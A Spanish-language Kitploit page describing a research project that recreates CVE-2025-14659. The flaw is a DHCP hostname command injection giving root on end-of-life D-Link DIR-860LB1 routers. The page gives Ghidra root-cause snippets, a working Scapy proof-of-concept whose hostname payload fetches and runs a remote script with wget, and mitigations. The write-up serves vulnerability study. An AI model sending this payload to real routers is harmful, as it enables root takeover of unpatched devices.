Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Vulnerability-DLink-CVE-2025-14659 — Análisis estático (Ghidra) y creación de paquetes personalizados (Scapy) que demuestran una vulnerabilidad de inyección de comandos DHCP a nivel de root (CVE-2025-14659) en el firmware de D-Link | Kitploit
Herramientas/GitHubGitHub/peterlinccl/vulnerability-dlink-cve-2025-14659
Seguridad de Sistemas EmbebidosAnálisis EstáticoSeguridad IoTAnálisis de VulnerabilidadesExplotaciónIngeniería InversaPapers e InvestigaciónDesarrollo de PayloadsAnálisis de Firmware

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

Análisis estático (Ghidra) y creación de paquetes personalizados (Scapy) que demuestran una vulnerabilidad de inyección de comandos DHCP a nivel de root (CVE-2025-14659) en el firmware de D-Link

Ver Repositorio
hace 14h 25mAún no revisado

CVE-2025-14659: Análisis de inyección de comandos en el daemon DHCP de D-Link

Proyecto Recreate CVE | Seguridad Ofensiva

Autor: Peter Lin Fecha: Mayo de 2026 Descripción del proyecto: CVE-2025-14659 reportó una vulnerabilidad de inyección de comandos dirigida al componente daemon DHCP presente en el router inalámbrico D-Link DIR-860LB1 con firmware v203b03. Esta inyección de comandos podría permitir a un atacante ejecutar comandos arbitrarios con privilegios de root en este router objetivo cuando un cliente DHCP renueva una concesión existente con un nombre de host malicioso. Extraeré el firmware del dispositivo DIR-860LB1 e identificaré el fallo presente en el daemon DHCP (udhcpd) mediante análisis estático usando Ghidra. Luego utilizaré un motor de emulación como FirmAE para emular el entorno de este router, demostrando un ataque de prueba de concepto contra este objetivo.


🔍 Descripción general de la vulnerabilidad

  • ID de CVE: CVE-2025-14659
  • Puntuación CVSS: 8.7 (Alta)
  • Tipo de vulnerabilidad: CWE-77 (Inyección de comandos)
  • Binario objetivo: udhcpd (Daemon DHCP)
  • Impacto: Acceso root no autenticado a través de la red local.

🔬 Causa raíz (Análisis estático con Ghidra)

Observando la función udhcpd_main en Ghidra, la vulnerabilidad se encuentra justo dentro del bloque case 3 (DHCPREQUEST):

  1. Extracción: El daemon extrae la Opción 12 de DHCP (Hostname) del paquete del cliente usando get_option(auStack_254, 0xc).
  2. Concatenación: Si existe un nombre de host, se inserta directamente en un búfer de cadena mediante sprintf():
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. Ejecución: La aplicación luego pasa ese búfer sin procesar directamente a una llamada a system() sin sanear los caracteres de shell:
    root@kitploit:~
    system(acStack_454);
    

Debido a que el daemon se ejecuta como root, agregar metacaracteres de shell (como ; o |) en el nombre de host permite a un atacante ejecutar comandos arbitrarios del sistema.


🛠️ Script de prueba de concepto (cve_poc.py)

Este script funcional de Scapy simula un cliente malicioso que solicita una renovación de concesión con un payload de nombre de host inyectado:

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ Impacto de la amenaza en el mundo real

Si se explota en el mundo real, un atacante puede usar esta vulnerabilidad para:

  • Despliegue de botnets: Instalar binarios maliciosos directamente en la memoria volátil del router (/tmp) para reclutar el hardware en redes de DDoS.
  • Secuestro de DNS: Sobrescribir la configuración interna de DNS para redirigir silenciosamente a los usuarios locales hacia sitios de phishing maliciosos.
  • Movimiento lateral: Usar el router de borde comprometido como punto de pivote interno para escanear y atacar otras máquinas dentro de la red local.
  • Control persistente: Instalar puertas traseras o manipular archivos de configuración para mantener acceso administrativo no autorizado en todo el entorno local.

🛑 Mitigaciones defensivas

  • Advertencia sobre el ciclo de vida del hardware: D-Link ha clasificado el dispositivo DIR-860LB1 con estado de Fin de Vida (EoL). No se espera que los parches oficiales del proveedor aborden este problema.
  • Controles de seguridad compensatorios:
    • Configurar límites de VLAN aisladas equipadas con estrictas funciones de aislamiento de clientes para limitar la visibilidad no autenticada de los endpoints DHCP.
    • Dar de baja sistemáticamente los dispositivos de enrutamiento heredados en estado EoL y actualizar a configuraciones de hardware con soporte activo.

📚 Referencias

  • NIST National Vulnerability Database
  • CVEDetails Vulnerability Profile

Descargo de responsabilidad: Este proyecto se creó estrictamente con fines educativos, de creación de portafolio e investigación de seguridad defensiva.

Descargar herramienta